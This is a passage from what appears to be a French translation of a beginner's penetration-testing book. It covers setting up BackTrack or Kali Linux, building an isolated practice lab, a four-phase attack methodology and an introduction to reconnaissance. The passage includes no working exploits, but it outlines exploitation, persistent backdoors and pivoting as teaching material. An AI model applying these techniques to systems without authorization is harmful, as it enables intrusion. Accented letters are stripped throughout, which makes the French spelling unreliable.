distributions ont t conues pour les testeurs dintrusion. Elles viennent avec des centaines doutils de scurit dj installs, configurs et prts lemploi. Qui plus est, elles sont gratuites ! Vous pouvez en tlcharger un exemplaire ladresse http://www.backtrack-linux.org/downloads/. Info Au printemps 2013, les membres dOffensive Security ont sorti une version redfinie et revue de BackTrack appele "Kali Linux". Elle est galement disponible gratuitement et est fournie avec de nombreux outils pour laudit de la scurit. Vous pouvez la tlcharger ladresse http://www.kali.org. Si vous dbutez dans les tests dintrusion et le hacking, les diffrences entre BackTrack et Kali risquent dtre confuses. Toutefois, pour apprendre les bases et exprimenter les exemples de cet ouvrage, les deux distributions feront laffaire. Kali Linux sera parfois plus facile utiliser que BackTrack car tous les outils sont installs de faon pouvoir tre excuts depuis nimporte quel rpertoire. Il suffit douvrir une fentre de terminal et de saisir le nom de loutil, avec les options souhaites. Si vous utilisez BackTrack, il vous faudra souvent aller dans le rpertoire qui correspond un outil avant de pouvoir lancer celui-ci. Si ces explications vous laissent un tantinet perplexe, ne vous inquitez pas. Nous y reviendrons progressivement dans les chapitres suivants. Pour le moment, vous devez simplement choisir entre Kali et BackTrack. Quelle que soit votre dcision, elle sera de toute faon bonne.

En vous rendant sur ce site, vous aurez le choix entre un fichier .iso et

une image VMware. Si vous choisissez le fichier .iso, vous devrez le graver sur un DVD. Il vous suffira de placer ce DVD amorable dans le lecteur et de redmarrer lordinateur. Dans certains cas, vous devrez dabord modifier lordre de dmarrage dans le BIOS afin de donner la priorit au lecteur optique. Si vous choisissez de tlcharger limage VMware, vous aurez besoin dun logiciel capable de louvrir et de la dployer ou de lexcuter. Par chance, il existe plusieurs outils pour y parvenir. En fonction de vos prfrences, vous pouvez opter pour VMware Player de VMware, VirtualBox dOracle ou Virtual PC de Microsoft. Si ces propositions ne vous conviennent pas, il existe dautres logiciels capables dexcuter une image VMware. Prenez simplement celui qui vous correspond. Les trois solutions de virtualisation mentionnes sont disponibles gratuitement et vous permettront dexcuter des images de machines virtuelles. Vous devez simplement dcider de la version employer. Dans cet ouvrage, nous utilisons principalement limage VMware de BackTrack et lapplication VMware Player. Au moment de lcriture de ces lignes, VMware Player est disponible ladresse http://www.vmware.com/fr/products/player/. Si vous ne savez pas quelle option choisir, nous vous conseillons dopter pour la solution VMware. Non seulement cette technologie vaut la peine dtre matrise, mais les machines virtuelles vous permettront galement de mettre en place un laboratoire complet pour les tests dintrusion en utilisant une seule machine. Sil sagit dun ordinateur portable, vous pourrez mener vos expriences partir dun laboratoire de voyage, tout moment et en tout lieu. Si vous dcidez de lancer BackTrack partir dun DVD amorable, vous verrez apparatre un menu initial que vous devez examiner attentivement car il propose plusieurs articles diffrents. Si vous rencontrez des difficults faire dmarrer BackTrack, choisissez BackTrack Debug Safe Mode. Le menu propose plusieurs autres options, mais elles sortent

du cadre de cet ouvrage. Pour slectionner une option, servez-vous des touches de direction puis validez en appuyant sur Entre. La Figure 1.1 montre un exemple dcran de dmarrage de Kali (en haut) et de BackTrack (en bas).

Figure 1.1 Les options du menu de dmarrage de Kali et de BackTrack. Kali Linux fonctionne de faon comparable. Vous devez choisir entre le tlchargement dune image ISO ( graver sur un DVD) et celui dune image VMware dj configure. Quelle que soit la version slectionne, vous pouvez simplement accepter loption par dfaut (en appuyant sur la touche Entre), lorsque vous arrivez au menu GRUB de Kali Linux.

BackTrack ou Kali nest pas indispensable la lecture de cet ouvrage ni lapprentissage des bases du hacking. Nimporte quelle version de Linux fera laffaire. Toutefois, en utilisant ces distributions, tous les outils ncessaires sont dj installs. Si vous optez pour une autre version de Linux, vous devrez commencer par les installer avant de lire les chapitres. Par ailleurs, puisque cet ouvrage se focalise sur les bases, la version de BackTrack ou de Kali na pas dimportance. Tous les outils que nous prsenterons et emploierons dans cet ouvrage sont disponibles dans toutes les versions.

Machine dattaque
Que vous excutiez BackTrack ou Kali partir dune machine virtuelle ou dun DVD amorable, le chargement du systme initial se termine par une invite douverture de session. Le nom dutilisateur par dfaut est root, avec le mot de passe toor. Ce nom dutilisateur et ce mot de passe par dfaut sont utiliss depuis la premire version de BackTrack ; ils seront certainement conservs dans les futures versions. Aprs que vous avez entr ces informations, vous devez voir apparatre linvite root@bt:~#. Bien que vous puissiez excuter la plupart des outils dcrits dans cet ouvrage directement partir de la console, les dbutants prfreront souvent utiliser le systme X Window. Pour dmarrer cet environnement graphique, saisissez la commande suivante linvite root@bt~# : startx Appuyez sur la touche Entre pour lancer le chargement de X Window. Cet environnement doit tre vaguement familier la plupart des utilisateurs. Au terme de son chargement, vous obtenez un bureau, des icnes, une barre de tches et une zone de notification. Comme dans Microsoft Windows, vous pouvez interagir avec ces lments en dplaant le pointeur de la souris et en cliquant sur lobjet concern. Si

vous avez adopt Kali Linux, louverture de session russie avec le nom dutilisateur et le mot de passe par dfaut dclenche automatiquement le chargement de lenvironnement graphique de bureau GNOME. Les programmes utiliss dans cet ouvrage seront principalement excuts depuis la console. Avec la plupart des distributions Linux, vous pouvez ouvrir celle-ci en utilisant le raccourci clavier Ctrl+Alt+T. En gnral, les systmes proposent galement une icne qui reprsente une bote noire avec les caractres >_ lintrieur. Cette icne se trouve dans la barre des tches ou le menu du systme. La Figure 1.2 illustre cette icne dans GNOME.

Figure 1.2 Licne qui permet douvrir une fentre de terminal. Contrairement Microsoft Windows et de nombreuses distributions Linux modernes, certaines versions de BackTrack viennent avec un rseau non configur. Il sagit dun choix de conception. En tant que testeurs dintrusion, nous essayons souvent de rester discrets ou invisibles. Un ordinateur qui dmarre en envoyant immdiatement des requtes rseau pour obtenir un serveur DHCP et une adresse IP revient crier : "Coucou, coucou, je suis l !!!" Pour viter ce problme, les interfaces rseau de lordinateur BackTrack sont dsactives par dfaut. Pour activer le rseau, la solution la plus simple passe par la console.

Ouvrez une fentre de terminal en cliquant sur licne indique la Figure 1.2 ou, si vous utilisez BackTrack, appuyez sur Ctrl+Alt+T. Ensuite, dans la console, excutez la commande suivante : ifconfig a Elle numre les interfaces disponibles sur la machine. En gnral, vous verrez au moins les interfaces eth0 et lo. Linterface lo correspond la boucle de retour. Linterface eth0 dsigne la premire carte Ethernet. En fonction du matriel, vous verrez des interfaces supplmentaires ou des numros dinterface diffrents. Dans le cas dune machine virtuelle BackTrack, linterface principale sera gnralement eth0. Pour activer la carte rseau, saisissez la commande suivante : ifconfig eth0 up ifconfig est une commande Linux qui signifie "je souhaite configurer une interface rseau". Nous lavons dj indiqu, eth0 correspond au premier dispositif rseau du systme (noubliez pas que les ordinateurs comptent souvent partir de 0, non de 1). Le mot cl up signifie que linterface doit tre active. Autrement dit, la commande signifie "je veux activer la premire interface". Puisque linterface est prsent active, nous devons obtenir une adresse IP. Pour cela, il existe deux faons de procder. La premire consiste affecter manuellement ladresse en lindiquant la fin de la commande prcdente. Par exemple, pour attribuer ladresse IP 192.168.1.23 la carte rseau, nous saisissons la commande suivante : ifconfig eth0 up 192.168.1.23 Lordinateur possde alors une adresse IP, mais nous devons prciser une passerelle et un serveur DNS ( Domain Name System). Une simple recherche Google des termes "configuration interface rseau linux"

donnera des rsultats qui expliquent comment procder. Pour vrifier la validit de votre configuration, excutez la commande suivante dans une fentre de terminal : ifconfig -a Les paramtres actuels des interfaces rseau saffichent alors. Puisque ce guide est destin aux dbutants, et pour des questions de simplicit, nous supposons que la discrtion nest pas un aspect important, tout au moins pour le moment. Dans ce cas, la solution la plus simple pour obtenir une adresse passe par DHCP. Pour cela, il suffit dexcuter la commande suivante : dhclient Notez que dhclient tentera dattribuer automatiquement une adresse IP la carte rseau et de configurer tous les lments requis, notamment les informations du DNS de la passerelle. Si vous excutez Kali ou BackTrack Linux dans VMware Player, le logiciel VMware jouera le rle de serveur DHCP. Que ladresse soit obtenue de manire dynamique avec DHCP ou quelle soit affecte de manire statique, la machine doit prsent avoir sa propre adresse IP. Dans le cas de Kali Linux, le rseau est prconfigur. Cependant, en cas de difficults, la section prcdente pourra se rvler utile. Enfin, nous devons apprendre teindre BackTrack ou Kali. Comme souvent sous Linux, il existe plusieurs manires dy parvenir. Lune des plus simples consiste excuter la commande suivante dans une fentre de terminal : poweroff Attention

Il est toujours prfrable dteindre ou de redmarrer la machine dattaque lorsque vous avez achev un test dintrusion. Vous pouvez galement excuter shutdown ou shutdown now pour arrter votre machine. Cette bonne habitude vite de laisser par inadvertance un outil en cours dexcution ou denvoyer du trafic sur votre rseau alors que vous ntes pas devant lordinateur. Vous pouvez galement remplacer poweroff par la commande reboot afin de redmarrer le systme au lieu de larrter. Avant daller plus loin, prenez le temps de revoir les tapes dcrites jusqu prsent et de les mettre en pratique, notamment : dmarrer et arrter BackTrack ou Kali ; ouvrir une session avec le nom dutilisateur et le mot de passe par dfaut ; lancer lenvironnement graphique X Window ; afficher toutes les interfaces rseau de lordinateur ; activer linterface rseau souhaite ; attribuer manuellement une adresse IP ; examiner ladresse IP attribue manuellement ; attribuer une adresse IP laide de DHCP ; examiner ladresse IP attribue dynamiquement ; redmarrer la machine depuis linterface en ligne de commande ; arrter la machine depuis linterface en ligne de commande.

Mettre en place un laboratoire de hacking


Un hacker thique doit disposer dun endroit o pratiquer et dcouvrir. La plupart des dbutants se demandent comment apprendre utiliser les outils de hacking sans violer la loi ni attaquer des cibles interdites. En

gnral, la solution consiste crer son propre "laboratoire de hacking". Il sagit dun environnement isol du trafic rseau, et les attaques nont aucune chance de sortir ni datteindre des cibles interdites ou accidentelles. Dans cet environnement, vous avez toute libert pour tudier les diffrents outils et techniques sans craindre que du trafic ou des attaques ne sortent de votre rseau. Le laboratoire comprend au moins deux machines : celle de lassaillant et celle de la victime. Il est galement possible de dployer simultanment plusieurs victimes afin de simuler un rseau plus raliste. Il est important que lutilisation et la configuration du laboratoire de hacking soient correctes car il reprsente lune des meilleures faons de se former ces techniques par lexprimentation. Lapprentissage et la matrise des bases des tests dintrusion se passent de la mme manire. Le seul point crucial du laboratoire rside dans lisolation du rseau. Vous devez le configurer afin quil soit impossible au trafic de sortir du rseau. Tout le monde peut faire des erreurs et se tromper dans la saisie des adresses IP. Rien nest plus facile que dinverser des chiffres dans une adresse IP, mais cette simple erreur peut avoir des consquences catastrophiques pour vous et votre avenir. Il serait dommage (pour ne pas dire illgal) deffectuer des scans et des attaques sur une cible que vous pensez prsente dans votre laboratoire ladresse 173.16.1.1 et de dcouvrir ensuite que vous aviez saisi ladresse 137.16.1.1. Pour mettre en place un environnement isol, lapproche la plus simple et la plus efficace consiste dbrancher physiquement votre rseau dInternet. Si vous utilisez des machines physiques, il est prfrable dopter pour une connexion Ethernet filaire et des commutateurs pour router le trafic. Noubliez pas de vrifier soigneusement que toutes les interfaces sans fil sont dsactives. Avant de poursuivre, inspectez et examinez toujours votre rseau la recherche de fuites potentielles. La cration dun laboratoire de hacking autour de machines physiques est une solution viable, mais les machines virtuelles apporteront plusieurs

avantages. Tout dabord, en raison de la puissance des processeurs actuels, il est possible de crer et de configurer un petit laboratoire sur une seule machine ou un ordinateur portable. Dans la plupart des cas, une machine de gamme intermdiaire est capable dexcuter simultanment deux ou trois machines virtuelles car les cibles peuvent avoir une configuration rduite. Mme un ordinateur portable est en mesure de supporter deux machines virtuelles. Un tel choix aura lavantage de rendre votre laboratoire portable. Le faible cot des disques de stockage externes permet de crer des centaines de machines virtuelles sur un mme disque, de les transporter et de les activer en fonction des besoins. Si vous souhaitez pratiquer ou explorer un nouvel outil, lancez simplement BackTrack, Kali ou votre machine dattaque, et dployez une machine virtuelle sous forme de cible. La mise en place dun laboratoire de ce type vous permet de brancher rapidement diffrents systmes dexploitation et configurations et de jouer avec. Grce aux machines virtuelles, il est galement trs simple disoler lintgralit du systme. Pour cela, il suffit de dsactiver la carte sans fil et de dbrancher le cble rseau. Si les adresses rseau ont t attribues comme nous lavons expliqu prcdemment, la machine physique et les machines virtuelles resteront en mesure de communiquer les unes avec les autres et vous serez certain quaucun trafic dattaque ne sortira de lordinateur physique. Un test dintrusion est en gnral un processus destructif. Un grand nombre doutils que nous utiliserons et les exploits que nous raliserons peuvent provoquer des dommages et conduire au dysfonctionnement des systmes. Dans certains cas, il est plus facile de rinstaller le systme dexploitation ou un programme que de tenter une rparation. Sur ce point, les machines virtuelles prsentent un vritable avantage. Au lieu de rinstaller physiquement un programme comme SQL Server ou un systme dexploitation complet, la machine virtuelle peut tre aisment rinitialise ou restaure dans sa configuration dorigine. Pour suivre les exemples de cet ouvrage, vous devrez avoir accs trois

machines virtuelles : Kali ou BackTrack Linux. Les captures dcran, les exemples et les chemins donns dans cet ouvrage se fondent sur Kali Linux, mais BackTrack 5 et ses versions antrieures feront galement laffaire. Si vous avez choisi BackTrack 5, vous devrez dterminer le chemin appropri pour lancer loutil prsent. Vous en trouverez la plupart dans le menu Applications > BackTrack du bureau ou dans le rpertoire /pentest depuis une fentre de terminal. Que vous ayez adopt BackTrack ou Kali, cette machine virtuelle vous servira dordinateur dattaque pour chaque exercice. Metasploitable. Metasploitable est une machine virtuelle Linux que sa configuration rend volontairement non scurise. Vous pouvez la tlcharger partir du site SourceForge ladresse http://sourceforge.net/projects/metasploitable/. Metasploitable nous servira de cible lorsque nous prsenterons lexploitation. Windows XP. Mme si la plupart des exercices de cet ouvrage sattaqueront Metasploitable, Windows XP (de prfrence sans aucun Service Pack) constituera galement une cible. En raison de son vaste dploiement et de sa popularit passe, il nest pas trs difficile den obtenir une copie valide. Une installation par dfaut de Windows XP fera une excellente cible lors de votre apprentissage des techniques mises en place dans le hacking et les tests dintrusion. Pour lintgralit de cet ouvrage, chacun des systmes mentionns prcdemment sera dploy sous forme dune machine virtuelle sur un mme ordinateur. Le rseau sera configur de manire que toutes les machines se trouvent sur le mme sous-rseau et puissent communiquer les unes avec les autres. Attention

Si vous ne pouvez pas mettre la main sur une machine virtuelle Windows XP, vous pouvez toujours suivre de nombreux exemples en utilisant Metasploitable. Une autre solution consiste configurer votre machine sous BackTrack (ou Kali) et lutiliser comme cible.

Phases dun test dintrusion


linstar de nombreuses procdures, un test dintrusion peut tre dcompos en une suite dtapes ou phases. Lorsquelles sont runies, ces tapes forment une mthodologie complte pour mener bien un test dintrusion. Lexamen attentif des rapports de rponse des incidents non classifis ou des divulgations de failles soutient lide que la plupart des hackers suivent galement une procdure lors de lattaque dune cible. La mise en place dune approche planifie est importante car elle permet aux testeurs dintrusion non seulement de se focaliser et davancer mais galement dutiliser les rsultats ou la sortie de chaque phase dans les suivantes. Ltablissement dune mthodologie permet de dcomposer une procdure complexe en une suite de tches grables de taille plus rduite. Comprendre et suivre une mthodologie constituent un pas important vers la matrise des bases du hacking. En fonction des ouvrages que vous consultez ou des formations que vous suivez, cette mthodologie peut comprendre entre quatre et sept phases. Mme si leur nom et leur nombre varient, le point important est que les tapes du processus permettent dobtenir une vue densemble complte du test dintrusion. Par exemple, certaines mthodologies emploient lexpression "recueil dinformations", tandis que dautres dsignent cette phase sous le terme "reconnaissance". Dans le cadre de cet ouvrage, nous nous focaliserons sur les activits associes une phase plutt que sur son nom. Lorsque vous matriserez les bases, vous pourrez tudier les diffrentes mthodologies des tests dintrusion et choisir celle qui vous convient.

Pour faire simple, nous allons prsenter les tests dintrusion dans une procdure en quatre phases. Si vous recherchez et examinez dautres mthodologies (ce travail est galement important), vous trouverez des procdures qui se dcomposent en un nombre dtapes infrieur ou suprieur la ntre, avec des noms diffrents pour chaque phase. Il est important de comprendre que, si la terminologie prcise peut varier, la plupart des mthodologies de test dintrusion crdibles couvrent les mmes aspects. Il existe toutefois une exception cette rgle : la phase finale de nombreuses mthodologies de hacking se nomme "masquage", "camouflage des traces" ou "effacement de preuves". Puisque cet ouvrage se concentre sur les bases, cette phase ne sera pas traite. Lorsque vous matriserez ces bases, vous pourrez la dcouvrir par vousmme. La suite de cet ouvrage examinera et prsentera les tapes suivantes : reconnaissance, scan, exploitation et postexploitation (ou maintien daccs). Si cela vous aide, vous pouvez visualiser ces tapes sous forme dun triangle invers (voir Figure 1.3). Le triangle est invers car les rsultats des premires phases sont trs larges. Plus nous avanons vers la phase finale, plus nous obtenons des dtails prcis.

Figure 1.3 Mthodologie des tests dintrusion en pente douce (ZEH, Zero Entry Hacking). Le triangle invers est parfaitement adapt car il reprsente le passage de la gnralit la spcificit. Par exemple, au cours de la phase de reconnaissance, il est important de mettre en uvre une solution aussi large que possible. Chaque dtail et chaque lment dinformation sur notre cible est recueilli et enregistr. Dans le monde des tests dintrusion, vous trouverez de nombreux exemples dans lesquels un lment dinformation dapparence triviale avait t collect lors de la phase initiale, pour se rvler ensuite un composant crucial de la russite dun exploit et de lobtention dun accs au systme. Au cours des phases

ultrieures, nous commencerons rduire le champ dinvestigation et nous focaliserons sur des dtails plus prcis de la cible. O se trouve-telle ? Quelle est son adresse IP ? Quel est son systme dexploitation ? Quels services et quelles versions des logiciels excute-t-elle ? Vous le constatez, chacune de ces questions devient de plus en plus prcise. Il est important de noter que poser ces questions et y rpondre doit se faire dans un ordre prcis. Info Avec lamlioration de vos connaissances, vous commencerez retirer les scanners de vulnrabilit de votre mthodologie dattaque. Au dbut, il est important den comprendre la bonne utilisation car ils peuvent vous aider mettre les choses en place et identifier la forme que prennent les vulnrabilits. Cependant, votre exprience grandissant, ces outils risquent dentraver la "mentalit de hacker" que vous essayez de perfectionner. Une dpendance permanente et exclusive avec ce type doutils risque de freiner votre volution et de vous empcher de comprendre comment fonctionnent les vulnrabilits et comment les identifier. La plupart des testeurs dintrusion confirms que je connais se servent des scanners de vulnrabilit uniquement lorsquils nont pas dalternative. Cependant, puisque cet ouvrage veut enseigner les bases, nous prsenterons les scanners de vulnrabilit et leur usage appropri dans la mthodologie ZEH. Il est galement important de comprendre lordre des tapes. En effet, le rsultat ou la sortie dune tape est utilis dans la suivante. Il ne suffit donc pas dexcuter simplement les outils de scurit dcrits dans cet ouvrage. Il est vital de comprendre lordre dans lequel ils sont utiliss

pour raliser un test dintrusion complet et raliste. Par exemple, de nombreux dbutants sautent la phase de reconnaissance pour aller directement lexploitation de leur cible. Si les phases 1 et 2 ne sont pas acheves, la liste des cibles et les vecteurs dattaque sur chacune delles sen trouveront considrablement rduits. Autrement dit, vous naurez quune corde votre arc. videmment, vous pourrez impressionner vos amis et votre famille en matrisant un seul outil, mais ces personnes ne sont pas des professionnels de la scurit qui prennent leur travail au srieux. Les novices pourront galement trouver utile de visualiser les tapes sous forme dun cercle. Aujourdhui, il est trs rare de trouver des systmes critiques accessibles directement sur Internet. En gnral, les testeurs doivent sintroduire dans une suite de cibles lies pour trouver un chemin vers la cible initiale. Dans ce cas, chaque tape est reproduite plusieurs reprises. Le processus de compromission dune machine et son utilisation pour compromettre ensuite une autre machine sont appels pivoter. Les testeurs dintrusion ont souvent besoin de pivoter travers plusieurs ordinateurs ou rseaux avant datteindre la cible finale. La Figure 1.4 illustre notre mthodologie sous forme dune procdure cyclique.

Figure 1.4 Reprsentation cyclique de la mthodologie ZEH. Examinons brivement chacune des quatre phases de notre mthodologie afin que vous en compreniez parfaitement le sens. La premire tape de tout test dintrusion est une "reconnaissance". Elle a pour objectif le recueil dinformations sur la cible. Nous lavons mentionn prcdemment, plus nous disposons dinformations sur la cible, plus nos chances de succs lors des tapes ultrieures sont leves. La reconnaissance fait lobjet du Chapitre 2.

Quelles que soient les donnes dont nous disposions au dpart, au terme de la phase de reconnaissance nous devons possder une liste dadresses IP scanner. La deuxime tape de notre mthodologie se dcompose en deux activits distinctes. La premire correspond au scan des ports. Aprs que cette opration est termine, nous avons une liste des ports ouverts et des services potentiels qui sexcutent sur chaque cible. La seconde activit concerne le scan des vulnrabilits. Il sagit de localiser et didentifier des faiblesses prcises dans les logiciels et les services qui sexcutent sur les cibles. Avec les rsultats fournis par la deuxime phase, nous passons la phase dexploitation. En sachant prcisment quels ports sont ouverts sur la cible, quels services sexcutent sur ces ports et quelles vulnrabilits sont associes ces services, nous pouvons lancer une attaque. Cette phase correspond ce que la plupart des dbutants associent au hacking "rel". Lexploitation peut impliquer nombre de techniques, doutils et de codes. Nous prsentons la plupart des outils rpandus au Chapitre 4. Lexploitation a pour objectif final dobtenir un accs administrateur (contrle total) sur la machine cible. Attention Lexploitation peut avoir lieu localement ou distance. Un exploit local exige de lassaillant un accs physique lordinateur. Un exploit distance se passe au travers des rseaux et des systmes, lorsque lassaillant ne peut pas toucher physiquement la cible. Cet ouvrage dveloppe les deux types dattaques. Quil sagisse dune attaque locale ou distante, lobjectif final reste gnralement lobtention dun accs administrateur total, qui permet au hacker de contrler intgralement la machine cible. De nouveaux programmes peuvent ensuite tre installs, des outils de dfense tre dsactivs, des documents confidentiels tre copis, modifis ou supprims, des paramtres de scurit tre modifis, etc.

La dernire phase tudie sera la postexploitation et le maintien daccs. Trs souvent, les charges envoyes lors de la phase dexploitation donnent un accs uniquement temporaire au systme. Nous devons donc crer une porte drobe permanente sur ce systme. Nous disposerons alors dun accs administrateur qui survivra la fermeture des programmes et mme aux redmarrages de lordinateur. En tant que hacker thique, nous devons faire trs attention lors de lutilisation et de la mise en uvre de cette tape. Nous verrons comment la mener bien et prsenterons les implications thiques de lutilisation dune porte drobe ou dun logiciel de contrle distance. Bien quelle ne constitue pas formellement une tape de la mthodologie, lactivit finale (et peut-tre la plus importante) de chaque test dintrusion est la rdaction du rapport. Quels que soient le temps et la planification consacrs au test dintrusion, le client jugera souvent votre travail et votre efficacit sur la base de votre rapport. Il doit comprendre toutes les informations pertinentes dcouvertes au cours du test, expliquer en dtail comment il a t men et dcrire les oprations qui ont t effectues. Lorsque cest possible, les mesures dattnuation des risques et les solutions aux problmes de scurit dcouverts doivent tre prsentes. Enfin, tout rapport doit comprendre une synthse. Son objectif est de donner sur une ou deux pages une vue densemble non technique des dcouvertes. Elle doit souligner et rsumer brivement les problmes critiques identifis par le test. Elle doit pouvoir tre comprise par le personnel technique et non technique. Elle ne doit pas donner de dtails techniques, qui font lobjet du rapport dtaill. Info PTES ( Penetration Testing Execution Standard) sera une ressource fantastique si vous recherchez une mthodologie plus rigoureuse et plus dtaille. Vous y trouverez des recommandations techniques qui intresseront les professionnels de la scurit, ainsi quun framework et un langage commun qui profiteront la communaut mtier. Pour de plus

amples informations, rendez-vous sur le site dadresse http://www.pentest-standard.org.

Et ensuite
Sachez quil existe plusieurs alternatives Kali et BackTrack. Tous les exemples de cet ouvrage devraient fonctionner avec chacune des distributions daudit de la scurit mentionnes ci-aprs. Blackbuntu est une distribution de scurit fonde sur Ubuntu. Elle bnficie dune communaut conviviale, dun trs bon support et dun dveloppement actif. Backbox est une autre distribution pour les tests dintrusion fonde sur Ubuntu. Elle propose une interface lgre et soigne, avec de nombreux outils de scurit dj installs. Matriux est comparable BackTrack, mais elle comprend galement un rpertoire de binaires pour Windows qui peuvent tre utiliss directement depuis ce type de machine. Fedora Security Spin est une collection doutils de scurit qui compltent la distribution de Fedora. KATANA est un DVD amorable qui regroupe diffrents outils et distributions. Enfin, vous pouvez tudier la distribution STD classique, ainsi que Pentoo, NodeZero et SamuriWTF. Il existe de nombreuses autres distributions Linux pour les tests dintrusion ; une recherche Google sur les termes "Linux Penetration Testing Distributions" produira un grand nombre de rsultats. Vous pouvez galement prendre le temps de construire et de personnaliser votre propre distribution Linux en collectant et en installant les outils que vous rencontrez et utilisez au cours de vos tests.

En rsum
Ce chapitre a prsent les concepts de test dintrusion et de hacking comme une manire de scuriser les systmes. Une mthodologie adapte un apprentissage de base a t prsente et explique. Elle comprend quatre phases : reconnaissance, scan, exploitation et

postexploitation. Ce chapitre a galement dcrit les diffrents rles et acteurs que lon rencontre dans le monde du hacking. Il a pos les bases de lutilisation de la distribution BackTrack Linux, notamment son dmarrage, louverture dune session, le lancement de X Window, lobtention dune adresse IP et son arrt. Kali Linux, une version revue de BackTrack, a galement t prsente. La cration et lutilisation dun laboratoire de tests dintrusion ont t exposes. Les contraintes particulires, qui vous permettent de pratiquer vos connaissances dans un environnement scuris et isol, et de suivre les exemples de cet ouvrage, ont t numres. Le chapitre sest termin par des dtails sur les alternatives Kali et BackTrack Linux, que le lecteur pourra tudier.

2 Reconnaissance

Introduction
Les personnes qui participent aux ateliers ou aux formations sur le hacking ont en gnral des connaissances de base sur quelques outils de scurit. Elles ont souvent employ un scanner de ports pour explorer un systme ou ont pu se servir de Wireshark pour tudier un trafic rseau. Certaines se sont mme sans doute amuses avec des outils dexploitation comme Metasploit. Malheureusement, la plupart des dbutants ne comprennent pas la place de ces diffrents outils dans le contexte global dun test dintrusion. Leurs connaissances sont donc incompltes. En suivant une mthodologie, vous respectez un plan et savez comment avancer. Pour souligner limportance de la mthodologie, il peut tre bon de dcrire un scnario qui illustre la fois lintrt de cette tape et les bnfices que lon peut tirer du suivi dune mthodologie complte lors dun test dintrusion. Supposons que vous soyez un testeur dintrusion thique qui travaille pour une socit de scurit. Votre chef vient vous voir dans votre bureau et vous tend une feuille de papier : "Je viens davoir le PDG de cette entreprise au tlphone. Il veut que mon meilleur testeur dintrusion, cest--dire vous, intervienne sur sa socit. Notre service juridique va vous envoyer un courrier lectronique pour confirmer que nous avons toutes les autorisations et les garanties appropries." Vous hochez la tte pour accepter ce travail. Il sort de votre bureau. Vous jetez un il la feuille de papier, sur laquelle un seul mot est crit : Syngress. Vous navez jamais entendu parler de cette socit et le document ne donne aucune autre information. Que faire ? Tout travail doit commencer par une recherche. Mieux vous serez prpar pour une opration, plus vous aurez de chances de russir. Les

crateurs de BackTrack et de Kali Linux aiment citer Abraham Lincoln : "Que lon me donne six heures pour couper un arbre, jen passerai quatre prparer ma hache." Il sagit dune parfaite introduction aux tests dintrusion et la phase de reconnaissance. La reconnaissance , ou recueil dinformations, est probablement la plus importante des quatre phases que nous allons prsenter. Plus vous passerez du temps collecter des informations sur votre cible, plus les phases suivantes auront une chance de russir. Pourtant, la reconnaissance est galement lune des tapes les plus ngliges, sousutilises et incomprises dans les mthodologies actuelles des tests dintrusion. Cette phase est sans doute nglige car son concept nest jamais formellement prsent aux dbutants, tout comme ses bnfices ou limportance dune bonne collecte dinformations pour les phases suivantes. Par ailleurs, il sagit de la phase la moins technique et la moins excitante. Les novices en hacking ont souvent tendance la considrer comme ennuyeuse et peu stimulante. Rien nest plus loign de la vrit. Sil est exact que peu de bons outils automatiss permettent de mener bien une reconnaissance, la matrise de ses bases permet de voir le monde sous un autre jour. Un collecteur dinformations efficace est constitu parts gales dun hacker, dun ingnieur social et dun dtective priv. Labsence de rgles de conduite parfaitement dfinies distingue cette phase des autres. Cela contraste totalement avec les autres tapes de notre mthodologie. Par exemple, lorsque nous prsenterons les scans au Chapitre 3, vous dcouvrirez que leur mise en place sur une cible se fait en suivant scrupuleusement une squence dtapes identifies. Apprendre mener une reconnaissance numrique donne des comptences valorisantes pour quiconque vit dans le monde actuel. Pour les testeurs dintrusion et les hackers, cela na pas de prix. Le monde des tests dintrusion regorge dexemples et dhistoires sur des testeurs qui ont

pu compromettre un rseau ou un systme simplement grce la reconnaissance effectue. Prenons lexemple de deux criminels diffrents qui planifient le braquage dune banque. Le premier achte une arme et pntre dans la banque en criant : "Haut les mains, cest un hold-up !" Vous imaginez sans mal le chaos qui peut sensuivre et, mme si le voleur incomptent parvient senfuir, il ne faudra pas longtemps la police pour le retrouver, larrter et lenvoyer en prison. loppos, prenons nimporte quel film hollywoodien dans lequel les criminels passent plusieurs mois planifier, simuler, organiser et examiner tous les dtails avant leur casse. Ils prennent du temps acheter discrtement des armes, prvoir des itinraires de repli et tudier les plans du btiment. Ils se rendent dans la banque pour reprer les camras de scurit, pour noter la place des gardes et dterminer quel moment la banque dispose du plus dargent et est la plus vulnrable. Ces criminels ont clairement plus de chances que le premier de repartir avec largent. La diffrence entre ces deux modes opratoires rside videmment dans la prparation. Le hacking et les tests dintrusion demandent galement une prparation il ne suffit pas dobtenir une adresse IP et de lancer Metasploit (cette approche est possible mais sera probablement peu efficace). Revenons lexemple donn au dbut de ce chapitre. Vous devez effectuer un test dintrusion mais vous disposez de trs peu dinformations. Vous ne connaissez que le nom de la socit. La question un million deuros pour tout aspirant hacker est : "Comment puis-je passer du nom dune entreprise un accs aux systmes de son rseau ?" Au dbut, nous ne savons pratiquement rien sur lentreprise. Nous ne connaissons pas son site web, son adresse physique ni le nombre de ses employs. Nous ne connaissons pas ses adresses IP publiques ni son schma IP interne. Nous ne savons rien des technologies dployes, des systmes dexploitation installs ni des dfenses mises en place.

La premire tape commence par une recherche dinformations publiques ; certaines entreprises appellent cela ROSO (renseignement dorigine source ouverte) ou, en anglais, OSINT ( Open-Source Intelligence ). Dans la plupart des cas, nous pouvons rcolter une quantit de donnes significatives sans envoyer un seul paquet vers la cible. Signalons ce propos que certains outils ou techniques employs pour la reconnaissance envoient des informations directement la cible. Il est important de savoir distinguer les outils qui touchent la cible et ceux qui ny touchent pas. Cette phase a deux objectifs principaux : premirement recueillir autant dinformations que possible sur la cible et deuximement trier toutes ces informations et crer une liste dadresses IP ou dURL attaquables. Au Chapitre 1, nous avons prcis que lautorisation accorde reprsente la principale diffrence entre les black hat et les white hat. La premire tape nous en montre un bon exemple. Les deux types de hackers ralisent une reconnaissance exhaustive de leur cible, mais les pirates nont pas de limites ni dautorisation. Lorsque les hackers thiques effectuent leurs recherches, ils sont contraints de rester dans les limites du test. Au cours de la collecte des informations, il nest pas rare quun hacker dcouvre un systme vulnrable reli la cible mais qui ne lui appartient pas. Mme si ce systme peut fournir un accs lorganisme dorigine, sans autorisation pralable le hacker thique sinterdira dutiliser ou dexplorer cette option. Par exemple, supposons que vous meniez un test dintrusion sur une entreprise et que vous dterminiez que son serveur web (qui contient les donnes des clients) fasse lobjet dune sous-traitance. Si vous identifiez une vulnrabilit importante sur le site web du client alors que vous ntes pas explicitement autoris le tester et lutiliser, vous devez lignorer. Les pirates ne sont pas contraints par de telles rgles et vont employer tous les moyens possibles pour accder aux 